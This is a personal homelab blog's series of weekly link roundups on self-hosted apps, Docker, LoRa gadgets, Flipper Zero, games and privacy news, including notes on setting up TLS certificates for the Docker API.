GitHub: cogwheel0 / conduit: “Native mobile client for Open‑WebUI. Chat with your self‑hosted AI.”
- I’m pretty sure I have Open-WebUI running somewhere… dedicated app would be nice to play with.
GitHub: fccview / cronmaster: “Cron management made easy”
- As I’m setting up additional backup jobs for files on my network, using cron more & more, so this jumped out at me.
GitHub: App Store Preview: Notify: Website Monitoring: “Monitor Website Changes - Directly From Your iPhone”
- I’m thinking about using this even for my internal pages, just to see if it would notify me if something went down.
Parachute Backup Mobile: “Set-and-forget iCloud backup companion for iOS”
- I definitely want to look at this if it’s an easy iCloud replacement.
- /r/selfhosted: Parachute Backup for Mobile is here, allows you to backup your entire iCloud Drive & iCloud Photo library to your own storage, NAS, network drives, external drives, etc. I’m here to answer any questions you may have!
GitHub: Loriage / Review: “Review - Plex Dashboard for iOS”
- As much as i want to start using Jellyfin more, I’ll still probably have Plex around for a bit.
GitHub: hritwikjohri / Void-for-jellyfin: “Void is an experimental native Android client for Jellyfin, built entirely with Kotlin and Jetpack Compose. Its goal is to offer a modern, minimal interface for browsing, streaming, and downloading media from a self-hosted Jellyfin server.”
- Jellyfin app to try out.
GitHub: flohoss / gocron: “A go based task scheduler with GUI”
- Interesting project i might add to my list of things to try.

w33k in g33k: August 15, 2025

Fri, 15 Aug 2025 17:00:00 -0400

IT Security

GitHub: paulveillard / cybersecurity-incident-response: “A collection of awesome tools, software, libraries, learning tutorials & videos, frameworks, best practices and technical resources about Incident Response & Management in Cybersecurity”
Akash Rajpurohit: Fail2ban — Protecting Your Homelab from Brute Force Attacks: I use a WireGuard VPN connection to get into my home network when remote, so I don’t have to expose my self-hosted services to the world, but i was interested in reading into Fail2ban a bit more. I’ve known about it, just didn’t have a need for it.

LoRa \ Meshtastic

Since getting the Hacker Pager at DEFCON 33 this year, I’ve been digging more into LoRa & the Meshtastic project to have something new to play around with. Unfortunately (so far) there doesn’t seem to be many other nodes on Long Island, NY, but we’ll see if that changes.
Hacker Gadgets: uConsole RTL-SDR/LoRa/GPS/RTC/USB Hub All-In-One Extension Board: If I want to turn my ClockworkPi uConsole into a device with LoRa, this hardware looks to do the job.
After seeing the details for the uConsole, I started to look for the PicoCalc too.
- ClockworkPi Forum: PicoCalc LoRa Texting Handheld Project ( like the LilyGo T-Deck )

selfh.st

GitHub: booklore-app / booklore: “BookLore is a self-hosted app for managing and reading books & comics (PDF, EPUB, CBZ) with metadata editing, OPDS, reading progress, and multi-user support.”
- I’ve still been meaning to get to looking at this, to possibly replace Calibre \ Calibre-web
GitHub: shellhub-io / shellhub: “💻 Get seamless remote access to any Linux device. Centralized SSH for the edge and cloud computing”
- I usually just SSH into my hosts, or use Shelly - SSH Client when on iOS or iPadOS, but something consistent across platforms would be nice.
GitHub: syncthing / syncthing: v.2.0.0 Release
- Excited to see what v2 will bring.
GitHub: 7ritn / VaulTLS: “Selfhostable web app to make managing mTLS certificates a breeze”
- I wanted to look into this to see about doing device or user certificates in the future.
GitHub: codeloaf / pi-dash: “Pi-Dash is a simple, lightweight dashboard for monitoring multiple Pi-hole instances. It provides a clean, at-a-glance, responsive view of your Pi-hole statistics.”

Miscellaneous

BookStack: “BookStack is a simple, self-hosted, easy-to-use platform for organising and storing information.”
- A friend of mine was looking into setting up BookStack & while i think i have run it in the past, i don’t think i still had any notes saved about it. Figured i could look into it again.

w33k in g33k: August 08, 2025

Fri, 08 Aug 2025 17:00:00 -0400

IT Security

SC Media: WordPress plugin bug prompts Pi-hole breach: At least it doesn’t really sound like the issue was on the Pi-Hole team, more the developers of the GiveWP plugin.

Meshtastic

I have been trying to dig more into Meshtastic \ LoRa things. Someone reminded me about the Nebra Helium miners, & I wanted to see if anything can be done with that one at Mom’s house:
- /r/Meshtastic: Outdoor Nebra Helium Miners
  - Meshtastic: A Major Solution to a Miner Problem

w33k in g33k: August 01, 2025

Fri, 01 Aug 2025 17:00:00 -0400

Android

It’s FOSS: 5 Open Source Apps You Can use for Seamless File Transfer Between Linux and Android

Docker

Dolce Documentation: Configuration
GitHub: TheInfamousToTo /PiHoleVault: “PiHoleVault provides a comprehensive, secure, and visually appealing solution to manage Pi‑hole backups. It combines automation, security, community analytics, and modern UI to offer a seamless experience. Whether you’re a casual user or managing multiple Pi‑holes, this tool simplifies setup and ongoing maintenance.”

Hardware

Hack-a-Day: Hands On: The Hacker Pager
- This is just another piece of hardware that i really don’t need, but am curious about it & may see how many are on-hand at DEF CON next week.

IT Security:

Help Net Security: Vulnhuntr: Open-source tool to identify remotely exploitable vulnerabilities
- GitHub: protectai / vulnhuntr: “Zero shot vulnerability discovery using LLMs”
Nex’s Blog: How I hacked my washing machine
Kali: Kali Linux & Containerization (Apple’s Container)
OMG Ubuntu: Ubuntu 25.10 Offers Improved Disk Encryption Using TPM: Nice to see that Ubuntu will be supporting disk encryption using the TPM.
While commonly coming across phishing PDF’s, I wanted to see what tools were available for looking into them. I did cheat & use GPT to get a starting point & this is what it gave me:
- pdfid, pdf-parser: Didier Stevens: PDF Tools
- peepdf: GitHub: jesparza / peepdf: “Powerful Python tool to analyze PDF documents”
  - Eternal ToDo: peepdf - PDF Analysis Tool
- qpdf: GitHub: qpdf / qpdf
- exiftool: ExifTool by Phil Harvey
- strings
- pdftotext: GitHub: jalan / pdftotext: “Simple PDF text extraction”
GitHub: bepass-org / oblivion-desktop: “Oblivion Desktop - Unofficial Warp Client for Windows/Mac/Linux”
- Just wanted to note this because i saw it mentioned as a censorship restriction workaround in Iran.

Miscellaneous

Engadget: Jack Dorsey’s Bluetooth messaging app is now on the App Store
- Apple App Store: bitchat mesh
Ethan Sholly @ selfh.st: Self-Host Weekly (1 August 2025)
- GitHub: gameyfin / gameyfin: “Manage your video games.”
  - I’ve come across game management platforms before, but always passed them up. Now that I’m seeing ones over & over & stopping to think about it, maybe it is worth looking into some of these & see how they run.
- xn–gckvb8fzb.com/giving-up-on-element-and-matrixorg/
- Building the Open Home: You don’t own it if they can break it
  - Ring getting mentioned again. It was nice to see they were moving away from just being a surveillance system, but i guess the original founder doesn’t feel the same way: “These cameras store your recordings in the cloud, on servers that Ring controls. Ring just pulls up all this user data onto its services, and once there, it treats this data like its own, giving it to whoever it wants. "
  - Belkin: I can’t remember if i did have any Wemo home devices, but seeing that they’re all going to be useless early next year anyway, it just makes me want to really sit down & build out HomeAssistant or any other project that at least gives some local control of devices.
- GitHub: booklore-app / BookLore: “BookLore is a self-hosted app for managing and reading books & comics (PDF, EPUB, CBZ) with metadata editing, OPDS, reading progress, and multi-user support.”
  - I’m pretty sure I set this up, but didn’t get too far with it. It is time i revisted it.
- GitHub: crocodilestick / Calibre-Web-Automated: “Calibre-Web but automated and with Calibre features! Fully automate and simplify your eBook set up!”
  - Another service I’m running locally that i should either properly configure or just retire.
- GitHub: immich-app / immich:High performance self-hosted photo and video management solution.”
  - selfh.st mentioned a new docker-compose.yml file for Immich, so I’ll have to compare that to my existing one & see if any changes are needed.
- GitHub: jelliott2021 / DockerWakeUp: “An intelligent Docker container management system that automatically starts containers on-demand when accessed, stops idle containers to save resources, and generates NGINX configurations for seamless reverse proxy setup”
  - This actually doesn’t seem to be what i thought it was when i started digging into it. I thought it was a way to manually start & stop containers, which would be useful now that I got Dolce working, so i can more easily restart containers that have stopped.
- GitHub: remvze / haus: “🏡 A dead-simple online workstation.”
  - The description sounded interesting so i thought i could try this out.
- GitHub: jeffcaldwellca / mkcertWeb: “Web based user interface for mkcert CLI internal CA”
  - I do have a routine down now for using my Step-CA container, but if there is anything to make management a little easier, i’m definitely interested.

w33k in g33k: July 25, 2025

Fri, 25 Jul 2025 17:00:00 -0400

Apple

GitHub: rushhiii / Scriptable-IOSWidgets: “An library of iOS widgets & scripts to supercharge your Apple experience, all built in Scriptable IOS app.”
- I haven’t really done much with Scriptable recently, so maybe this will get me to play around with it again.
Scriptable For Dummies
dersvenhesse / awesome-scriptable: “A curated list of awesome Scriptable scripts and widgets.”
/r/Scriptable: The most common use of Scriptable
Medium: Nowhere Man: Home Assistant Widgets with Scriptable

Docker \ Containers

/r/SelfHosted: What’s wrong with Portainer?]: I do try to keep an eye out for something to use instead of Portainer, but at least for right now that’s what I’m sticking with.

Games

/r/SelfHosted: vangogh quarterly update - self-hosted GOG.com games collection
- GitHub: arelate / vangogh: “🌻 Local and offline GOG.com games library”

IT Security

EFF: Meet Rayhunter: A New Open Source Tool from EFF to Detect Cellular Spying: My Orbic RC400L is being delivered this week, so going to get a chance to work on this & see about bringing it to DEF CON.
- GitHub: EFForg / rayhunter: “Rust tool to detect cell site simulators on an orbic mobile hotspot”
Kali: The Raspberry Pi’s Wi-Fi Glow-Up: I used to have a Pi running Kali, but since I wasn’t using it much I had wiped it. Maybe I’ll get it running again since I should have a spare Pi sitting around somewhere.
GitHub: CervantesSec / cervantes: “Cervantes is an open-source, collaborative platform designed specifically for pentesters and red teams. It serves as a comprehensive management tool, streamlining the organization of projects, clients, vulnerabilities, and reports in a single, centralized location.”
- Not that I do much red-teaming, but seeing new tools & posts make me want to start digging into it more. Would especially love to get my CEH, but not sure how feasible that is.
- This is a reminder that I’ve been meaning to circle back on this: GitHub: WithSecureLabs / Kanvas: “A simple-to-use IR (incident response) case management tool for tracking and documenting investigations.”

Linux

OMG Ubuntu: Argon ONE Up Laptop Runs on a Raspberry Pi CM5: I will definitely be keeping an eye on this. Sounds like it’s not available yet, but they have a notification page up on Kickstarter.

Privacy

DuckDuckGo: The DuckDuckGo Browser: Fresh New Look, Same Great Protections, AI Optional: I’ve had the mobile app installed for a while but have only really been using it for password generation when creating accounts on mobile; for normal day-to-day I’ve still stuck with Firefox, but maybe time to give the DDG browser some more time.

Miscellaneous

/r/SelfHosted: portracker - Ports monitoring & auto discovery dashboard for your homelab
- GitHub: mostafa-wahied / portracker: “A self-hosted, real-time port monitoring and discovery tool.”
/r/SelfHosted: [My HomeServer(-Dashboard) Q3/2025: I had saved this just to see what some others have running, & to see if there’s anything new i might want to run.
/r/SelfHosted: UPDATE! First home Server: Saved for the same reason as above & also just a listing of how \ why things were setup.
/r/SelfHosted: What are your favorite self-hosted, one-time purchase software?: Just curious to see what people might recommend.
/r/SelfHosted: 2 Years Self Hosted (Finally proud!)
/r/SelfHosted: What’s the One Self-Hosted App That Truly Blew You Away?
/r/SelfHosted: Karakeep (0.26) is here! Comprehensive usage stats, reader mode, search history, S3 support, and much more!: I do use Karakeep, so just wanted to see what new features were added in this version.
- GitHub karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
/r/SelfHosted: Help with Homepage Glances setup: I’ve looked
- GitHub: nicolargo / glances: “Glances an Eye on your system. A top/htop alternative for GNU/Linux, BSD, Mac OS and Windows operating systems.”
  - While looking for a possible Portainer replacement, I’ve also kept an eye out for an overall system management tool, since I have my containers spread across multiple hosts.
Another Glances post: /r/SelfHosted: Finally got into Glance and I’m loving it
/r/SelfHosted: OmniTools just dropped a massive update - Image/PDF editor, GIF maker, audio tools, and more - all self-hosted
- GitHub: iib0011 / omni-tools: “Self-hosted collection of powerful web-based tools for everyday tasks. No ads, no tracking, just fast, accessible utilities right from your browser!”
/r/SelfHosted: My Favorite Self-Hosted Apps Launched in 2025 (So Far) | selfh.st

self.st: Self-Host Weekly (25 July 2025)

PaerrinsLab: GUIDE: Using Trilium Templates to Document Your Homelab: I gave Trilium a shot in the past, but forget why I didn’t stick with it. I bounce between Joplin & Obsidian for different tasks. Maybe I’ll give it a try again just to see how i like it.
The Verge: Ring reintroduces video sharing with police: Because who needs privacy in a police state…
Code Captured: My Ultimate Self-hosting Setup
GitHub: operacle / checkcle: “CheckCle is a self-hosted, open-source monitoring platform for seamless, real-time full-stack systems, applications, and infrastructure. It provides real-time uptime monitoring, distributed checks, incident tracking, and alerts. All deployable anywhere.”
GitHub: RA341 / dockman: “Yet another docker compose manager for homelabs”
GitHub: kuvasz-uptime / kuvasz
Google Play: nzb360 - Sonarr / Radarr / SAB: “nzb360 is a full-featured NZB / torrent manager that focuses on providing the best experience possible for controlling all of your usenet and torrent needs.”
GitHub: xpipe-io / xpipe: “Access your entire server infrastructure from your local desktop”
GitHub: ilkerol / dashymobile
GitHub: coolcat1575 / fleetview: “Visualize container workload distribution between docker (swarm, standalone) nodes”
GitHub: ethanocurtis / MultiNotify: “A lightweight, open‑source Discord bot that monitors a subreddit for new posts (optionally filtered by flair) and automatically send them to Discord, Mattermost, Slack, or other services via webhook, with optional DM notifications.”
GitHub: WhiskeyCoder / Nextt: “A self-hosted, Plex-powered recommendation dashboard with TMDB enrichment and Overseerr integration — finally, a smart, personalized way to find what to watch next.”
GitHub: mostafa-wahied / portracker: “A self-hosted, real-time port monitoring and discovery tool.”
GitHub: Darkatek7 / sonosControl: “This is a Blazor Server App to Control a Sonos Speaker”
GitHub: Phantom8015 / Specters: “A linux web interface”

w33k in g33k: July 18, 2025

Fri, 18 Jul 2025 17:00:00 -0400

Android

GitHub: Archfx / duo-de: “Surface Duo Dual Experience ( 🍰 AOSP | Android 16 | DUO1 | DUO2 )”
- I haven’t touched my Surface Duo in ages, so this looked like a fun way to pick that up again.
GitHub: kaleedtc / Privacium: “A simple app for discovering tools that respects your privacy.”
/r/AndroidApps: F-Droid repos
GitHub: userkilled / FDroid-List-Repository: “List Know Repositories for FDroid (F-Droid)”
F-Droid Forum: Known Repositories
GitHub: Archfx / [duo-de]https://github.com/Archfx/duo-de: “Surface Duo Dual Experience ( 🍰 AOSP | Android 16 | DUO1 | DUO2 )”

Docker

GitHub: log-forge / logforge: “Real-time logs, Interactive terminals, Custom alerts/notifications, File system access. All in one UI, for Docker.”

Financial

GitHub: bscott / subtrackr: “Self-hosted Subscription Tracker”

Games

The Death Generator: Change the text on death screens from older video games.
Windows Central: These 5 free add-ons make Minecraft Bedrock Edition feel brand new: It’s been a while since I’ve played Minecraft, but wanted to see if these would be any fun.
Hackread: FBI seize well-known Nintendo Switch game piracy site
Windows Central: Halo & Half-Life combine in wild new mod, bringing two of my favorite games together in one — here’s how to play, and how it works

IT Security

Hackread: FBI Seizes Major Sites Sharing Unreleased and Pirated Video Games

Privacy

EFF: Flock Safety’s Feature Updates Cannot Make Automated License Plate Readers Safe: Who needs privacy anyway…
Opnxng.com: About: “Opnxng.com hosts public services that are focused on privacy. No personal data is collected. You can read our blog or send us an email.”
- I think I saw someone post this on Lemmy or Mastodon & I wanted to save it to see what services were listed.
GitHub: AI-Escape / open-ice: “OpenICE is an independent data transparency project tracking U.S. Immigration and Customs Enforcement (ICE) detention statistics. The project is developed by AI Escape and is not affiliated with or endorsed by any government agency. All data is sourced from publicly available ICE reports and may not reflect the most current information.”

Miscellaneous

Anton Zhiyanov: Writing a package manager: This sounded interesting so I saved it to go back & read later.
Tophhie Cloud: Host Your Own Bluesky PDS: A Complete Azure-Powered Guide: Again, just wanted to look it over & see what it would take to run my own Bluesky PDS.
Hack A Day: Pulling At Threads With The Flipper Zero: Always interested in doing fun things with my Flipper.
Nano Editor: NANORC: I should have known this config file existed before now, but here i am. So now can have some customization on nano.
Talk Android: Hidden gem: Turn that unused TV outlet into a gigabit Ethernet connection: If I can avoid stringing LAN cables around my house… wanted to look into this.
TrollRestore: Used this on my old iPad Air 2 since the previous attempts with Dopamine & TrollStore didn’t last more than 7 days.
- I think I did it backwards there anyway, so I’m hoping now that I used TrollRestore, then installed Dopamine through there, that it will be permanent.
selfh.st: Self-Host Weekly (18 July 2025)
GitHub: log-forge / logforge: “Real-time logs, Interactive terminals, Custom alerts/notifications, File system access. All in one UI, for Docker.”
GitHub: Coyenn / iso: “A plug-and-play dashboard for all your self-hosted services”
GitHub: CodeJawn / karakeep-homedash: “A more compact home page dashboard style view for browsing your KaraKeep bookmarks.”
GitHub: bodyast / logManager: “Real-time log viewer for remote servers via SSH. Add servers, define log paths, and stream logs in your browser.”
GitHub: AI-Escape / open-ice: “OpenICE is an independent data transparency project tracking U.S. Immigration and Customs Enforcement (ICE) detention statistics. The project is developed by AI Escape and is not affiliated with or endorsed by any government agency. All data is sourced from publicly available ICE reports and may not reflect the most current information.”
GitHub: TheInfamousToTo / PiHoleVault: “HoleSafe provides a comprehensive, secure, and visually appealing solution to manage Pi‑hole backups. It combines automation, security, community analytics, and modern UI to offer a seamless experience. Whether you’re a casual user or managing multiple Pi‑holes, this tool simplifies setup and ongoing maintenance.”
- I was looking to get this installed, but might not be compatible with RasPi? “Failed to deploy a stack: compose up operation failed: no matching manifest for linux/arm64/v8 in the manifest list entries”
GitHub: kaleedtc / Privacium: “A simple app for discovering tools that respects your privacy.”
GitHub: bscott / subtrackr: “Self-hosted Subscription Tracker”
GitHub: Coyenn / iso: “A plug-and-play dashboard for all your self-hosted services”
GitHub: CodeJawn / karakeep-homedash: “A more compact home page dashboard style view for browsing your KaraKeep bookmarks.”
GitHub: bodyast / logManager: “Real-time log viewer for remote servers via SSH. Add servers, define log paths, and stream logs in your browser.”
GitHub: TheInfamousToTo / PiHoleVault: “HoleSafe provides a comprehensive, secure, and visually appealing solution to manage Pi‑hole backups. It combines automation, security, community analytics, and modern UI to offer a seamless experience. Whether you’re a casual user or managing multiple Pi‑holes, this tool simplifies setup and ongoing maintenance.”

w33k in g33k: July 11, 2025

Fri, 11 Jul 2025 17:00:00 -0400

Gaming:

WCCF Tech: ShadPS4 PlayStation 4 Emulator Version 0.10.0 Is Now Available, Introducing Major New Feature For More Accurate Emulation of Bloodborne and Other Games
- I keep forgetting to actually give this emulator a try, but it’s been on my list for a bit.
- ShadPS4
WCCF Tech" Nintendo’s Ability To Brick Nintendo Switch 2 Consoles Is Being Challenged In Brazil
- Hopefully the same thing will be happening in the US too…

Privacy

GitHub: Local Mess: Disclosure: Covert Web-to-App Tracking via Localhost on Android: “We disclose a novel tracking method by Meta and Yandex potentially affecting billions of Android users. We found that native Android apps—including Facebook, Instagram, and several Yandex apps including Maps and Browser—silently listen on fixed local ports for tracking purposes.”

Miscellaneous

GitHub: LoggiFly
- I’ve been trying to find a way to get notifications if some of my Docker containers fail, so this was interesting to me.
- Right now, I’ve been trying to keep an eye on things through Dozzle, but I don’t currently have any alerts or notifications if a container stops.
iOS CFW Guide: Installing Dopamine
- I found an old iPad Air 2 of mine where the highest OS it can be upgraded to is 15.8.3. So to get some use out of it (pretty much plan to use it as a panel for the house or photo frame), i figured i would jailbreak it as well.
- I had to jump through a few hoops, but I think I’m in a good state now… TrollInstallerX isn’t compatible with the iPad Air 2 @ 15.8.3, so while I was able to use Sideloady to get it on there, all I saw was an “Unsupported” button instead of “Jailbreak”. So i used Sideloady to just directly load Dopamine, jailbreak through there & install Sileo & Zebra, installed TrollHelper to get TrollStore, then installed Dopamine from there… as I type this out I am fully expecting problems because of how many hoops I jumped through on this, but I guess we’ll find out in 7 days. As long as I can load my custom root certificate & visit internal sites, that’s all i really care about anyway.
Help Net Security: Bitwarden MCP server equips AI systems with controlled access to credential workflows
selfh.st: Self-Host Weekly (11 July 2025)
- Nerds.xyz: Bitwarden launches MCP server to securely connect AI agents with your passwords
- Belkin Official Support: Wemo Support Ending – What You Need to Know
- Tech Crunch" Jack Dorsey working on Bluetooth messaging app, Bitchat
- GitHub: rtuszik / starwarden: “Export GitHub Stars to LinkWarden”
- GitHub: bitwarden / mcp-server: “MCP server for interaction with the Bitwarden vault.”
- GitHub: taslabs-net / dasharr: “Consolidates your Plex, Radarr, Sonarr, Tautulli, SABnzbd, and Prowlarr and other services into one beautiful, customizable dashboard.”
- GitHub: cogwheel0 / luci-mobile: “Remotely manage your OpenWrt router. Monitor clients, interfaces, and status.”
- GitHub: mihail-pop / media-journal: “A web app to keep track of your movies, tv shows, games, books, manga and anime.”
- GitHub: caddymanager / caddymanager: “Easily manage your Caddy2 servers using a modern web-UI, built on the MEVN stack.”
- GitHub: codewec / dashlit: “DashLit is self-hosted startpage for your server.”
- GitHub: kuvasz-uptime / kuvasz: “Kuvasz (pronounce as [ˈkuvɒs]) is an open-source uptime and SSL monitoring service, built in Kotlin”
- GitHub: Bartuzen / qBitController: “Control qBittorrent from any device”
- Nextcloud: (https://nextcloud.com/blog/how-to-use-nextcloud-aio-using-community-containers/)
- Bitwarden: Inside Bitwarden open source releases
- GitHub: SphereNetwork / SphereSSL: “Web-powered SSL certificate manager with DNS integration, auto-renewals, and cert tracking. It’s like if Certbot and ZeroSSL had a baby. Certbot but more friendly, smarter, and with a dashboard.”
- GitHub: Beast12 / who-rang: “Transform your doorbell into an intelligent visitor identification system with advanced face recognition, multi-provider AI analysis, and comprehensive visitor insights.”
- GitHub: mikejsavage / yougram: “Self-hosted image sharing”
- GitHub: taslabs-net / dasharr: “Consolidates your Plex, Radarr, Sonarr, Tautulli, SABnzbd, and Prowlarr and other services into one beautiful, customizable dashboard.”

w33k in g33k: July 04, 2025

Fri, 04 Jul 2025 17:00:00 -0400

Miscellaneous

Getting Docker API working on a new host:
- Needing the certificate – create the CA first:

openssl genrsa -aes256 -out Docker_API-CA.key.pem 4096
openssl req -new -x509 -days 365 -key Docker_API-CA.key.pem -sha256 -out Docker_API-CA.cert.pem

- Getting a client certificate:

openssl genrsa -out $service-client.key.pem 4096
openssl req -subj '/CN=$service-client' -new -key $service-client.key.pem -out $service-client.csr
echo extendedKeyUsage = clientAuth > extfile-$service-client.cnf
openssl x509 -req -days 365 -sha256 -in $service-client.csr -CA Docker_API-CA.cert.pem -CAkey Docker_API-CA.key.pem \
  -CAcreateserial -out $service-client.cert.pem -extfile extfile-$service-client.cnf

- Running the docker API on :2376 & local socket. If running rootless, this file needs to be edited: "~/.config/systemd/user/docker.service". This will use the new TLS certificate created, run the API on port 2376, AND run the local socket as well.

… Environment=DOCKERD_ROOTLESS_ROOTLESSKIT_FLAGS="-p 0.0.0.0:2376:2376/tcp" ExecStart=/usr/bin/dockerd-rootless.sh
–tlsverify
–tlscacert=/.docker/certs/Docker_API-CA.cert.pem
–tlscert=/.docker/certs/Docker_API-Server-$hostname.cert.pem
–tlskey=~/.docker/certs/Docker_API-Server-$hostname.key.pem
-H unix:///run/user/1000/docker.sock
-H tcp://127.0.0.1:2376 …

Securing Docker API with TLS

Tue, 01 Jul 2025 16:58:00 -0400

Docker API Certificate

I had to setup remote access to the Docker API on one of my hosts & needed to check my notes on exactly what I did to get it setup.
The first step was creating the CA to get the certificate from:
- I probably should have gone with more than 1 year, but will worry about that when it expires & i have no idea what broke.

openssl genrsa -aes256 -out Docker_API-CA.key.pem 4096
openssl req -new -x509 -days 365 -key Docker_API-CA.key.pem -sha256 -out Docker_API-CA.cert.pem

Now to get a client certificate that will be used by one of the services, i.e.: Homepage.

openssl genrsa -out $service-client.key.pem 4096
openssl req -subj '/CN=$service-client' -new -key $service-client.key.pem -out $service-client.csr
echo extendedKeyUsage = clientAuth > extfile-$service-client.cnf
openssl x509 -req -days 365 -sha256 -in $service-client.csr -CA Docker_API-CA.cert.pem -CAkey Docker_API-CA.key.pem \
  -CAcreateserial -out $service-client.cert.pem -extfile extfile-$service-client.cnf

To run the docker API on :2376 & local socket i needed to edit one of the config files.
- If running rootless, this file needs to be edited: “~/.config/systemd/user/docker.service”. This will use the new TLS certificate created, run the API on port 2376, AND run the local socket as well.

… Environment=DOCKERD_ROOTLESS_ROOTLESSKIT_FLAGS="-p 0.0.0.0:2376:2376/tcp" ExecStart=/usr/bin/dockerd-rootless.sh
–tlsverify
–tlscacert=~/.docker/certs/Docker_API-CA.cert.pem
–tlscert=~/.docker/certs/Docker_API-Server-$hostname.cert.pem
–tlskey=~/.docker/certs/Docker_API-Server-$hostname.key.pem
-H unix:///run/user/1000/docker.sock
-H tcp://127.0.0.1:2376 …

w33k in g33k: June 27, 2025

Fri, 27 Jun 2025 17:00:00 -0400

I didn’t post last week (or the week before?) so I’m going to combine a few of the things I had written down.

Flipper

GitHub: beigeworm / BadUSB-Files-For-FlipperZero: “A Collection of Over 60 Scripts - updated specifically for the BadUSB function on the FlipperZero.”

Games

Switch 2 release: I was planning to eventually pick one up, but happen to go to a place that had them in stock over the weekend & bit the bullet & purchased it. Got the bundle so it has Mario Kart World with it.
- GBATemp: How to Mod Your Nintendo Switch 2 (The Ultimate Totally Legit Guide) - Written by ChatGPT
- I’m going to have to see about the virtual game cards… I’m assuming it’s just digital games (which I would try to avoid & get the physical where possible), but will actually have to read up on that a bit more to see if I’m correct.
WCCFTech: 3dSen NES Emulator 1.0 is Now Available, Turns Classic 2D Games Into Playable 3D Voxel Dioramas
- Looked like something fun to try out on NES ROMs.
GitHub: HarbourMasters / SpaghettiKart: Mario Kart!
YouTube: We started porting LEGO Island to… everything?: I remember playing this game when I was younger so I was curious to see what they’re doing with it.
- I will get the Invidious link for this before posting (hopefully)

Miscellaneous

ImmichFrame: “An awesome way to display your photos as a digital photo frame”
- GitHub: immichFrame \ ImmichFrame: ImmichFrame / Install_Client.md: Frameo
Immich Kiosk: “Immich Kiosk is a lightweight slideshow for running on kiosk devices and browsers that uses Immich as a data source.”
Hackaday: What Use Is An Original Raspberry Pi?
- I wanted to take a look & see if there were any ideas I could use for my spare Raspberry Pi’s.
GitHub: alondmnt / joplin-plugin-jarvis
- I am excited to give this a try since it’s exactly what I’ve been hoping to find, to leverage my own build, upgrade, etc notes, & not have to search through everything I have listed. I am planning to have it use my local Ollama install & see what kind of results I get.
Simon Willison’s Weblog: Edit is now open source: I thought it couldn’t hurt to try it out.
- GitHub: microsoft / edit
GitHub: psviderski / uncloud: “A lightweight tool for deploying and managing containerised applications across a network of Docker hosts. Bridging the gap between Docker and Kubernetes ✨”
GitHub: fabriziosalmi / certmate: “SSL Certificate Management System (API + UI)”
- I’m currently using Step CA & certbot, but might look into this.
- Actually… looking this over it appears to be more for public sites & DNS vs. local. My personal SSL certs are all .home, so this might not working for me.
GitHub: ErsatzTV / ErsatzTV: “Stream custom live channels using your own media”
GitHub: Shrikshel / server-tools
- I wanted to see if this would help manage a few different headless servers, but I think it’s more meant to manage an individual server.

Raspberry Pi

Geoff’s Projects: BASIC with WiFi/Internet support for the Pico W and Pico 2 W
- I was looking into this for my ClockworkPi PicoCalc, to see if I could leverage the wireless features of the Raspberry Pi Pico W on my device.
GitHub: raspberrypi / picotool
- While trying to get JBlanked’s Picoware custom firmware loaded to my Pico 2 W, I came across this tool, because I wasn’t having luck jsut dragging & dropping the U2F file to the disk.

Security

HelpNet Security: 35 open-source security tools to power your red team, SOC, and cloud security
GitHub: beigeworm / Powershell-Tools-and-Toys: “50+ Powershell Scripts, Ranging from Pranks to Red-Team Tools”

Watching

/r/selfhosted: OmniTools v0.4.0 - A Swiss army knife of 80+ privacy-first, self-hosted utilities
/r/selfhosted: I hacked our digital frame to get off of Nixplay’s cloud
/r/selfhosted: 🚀 Introducing autoResume: The Free, Open‑Source, Self‑Hosted Resume Generator!
/r/selfhosted: Is there an selfhosted apple health/google fit alternative
/r/selfhosted: Docmost v0.21: zip imports, read/edit mode and more
/r/selfhosted: What are your top Ntfy usecases?
/r/selfhosted: What are your must-have self-hosted tools on your home server that genuinely make your life easier?
/r/selfhosted: What are you using as an alternative to…?
/r/selfhosted: Selfhost pocket-id, fully rootless and distroless and 3x smaller than the original image!
/r/selfhosted: [Release] STD (Service Tracker Dashboard) v0.4.11 — dashboard for Docker containers
/r/selfhosted: Changerawr v1.0.1 Release ( Security Update )
/r/selfhosted: LessEncrypt: A light-weight tool for self-signed CA certificate signing and delivery
/r/selfhosted: What should be its purpose? (Seriously, what should I do with this old raspberry)

w33k in g33k: May 30, 2025

Fri, 30 May 2025 13:00:00 -0400

ClockworkPi PicoCalc

GitHub: huntergdavis / picocalc: “scripts and utilities for picocalc MMBasic shell”
GitHub: cjstoddard / PicoCalc-uf2: “Things I am doing with my PicoCalc.”
GitHub: prstoetzer / PicoCalc: “Code for the ClockWork Pi PicoCalc”
GitHub: mhbvr / picocalc_experiments: “Playing with PicoCalc in the simplified environment”
GitHub: titimoby / picocalc-wiki: “Where to start, what to do, how to… for PicoCalc”
GitHub: EinsPommes /PicoCalc—CalcOS: “🛠️ Calcos – A Hacker’s Firmware for the PicoCalc Calcos turns your ClockworkPi PicoCalc into a stealthy hacking platform.”
GitHub: rhaamo PicoCALC-CALC: “Very hackish firmware to make the PicoCalc actually do calculations”
GitHub: jblanked / Picoware: “Open-source custom firmware for PicoCalc, Video Game Module, and other Raspberry Pi Pico devices”
- ClockworkPi: PicoCalc
- YouTube: A custom firmware for the PicoCalc? This is Picoware #raspberrypi #clockwork #picocalc
- clockworkpi Forum: How to flash a new firmware?

Flipper

GitHub: ADolbyB / flipper-zero-files: “A Collection Of Files From Various Sources Specifically For The Flipper Zero Device (In Progress)”
GitHub: Zarcolio / flipperzero: “This repo contains my own Ducky/BadUSB scripts, related PowerShell scripts and other Flipper Zero related stuff.”

Games

YouTube: Turning Portal 2 into a Web Servero

Hardware

OMG Ubuntu: Flexbar (USB Apple Touch Bar Clone) Now Supports Linux: “If you missed it at the time: Flexbar is a USB-powered peripheral inspired by Apple’s now-discontinued touchscreen strip, but designed as a standalone plug-and-play device that works with any laptop, PC, tablet, or smartphone.”
- Maybe a fun piece of hardware to look into or purchase.
- ENIAC Electronic: Flexbar

Miscellaneous

It’s FOSS: Better Than Man pages? These Tools Help You Understand Linux Commands
It’s FOSS: Guide to Using Plugins in Obsidian
Medium: Enable Swap Memory on Ubuntu on Raspberry Pi
/r/Shortcuts: Redirect from m.youtube.com to invidious.
GitHub: blinkospace / blinko: “An open-source, self-hosted personal AI note tool prioritizing privacy, built using TypeScript .”

Security & Privacy

WCCF Tech: First Case of AI Mimicking a “Terminator-Like” Scenario Surfaces; OpenAI LLMs Changes Computer Code In Order To Prevent Shutdown
Micah Lee: TeleMessage Explorer: a new open source research tool
- GitHub: micahflee / telemessage-explorer
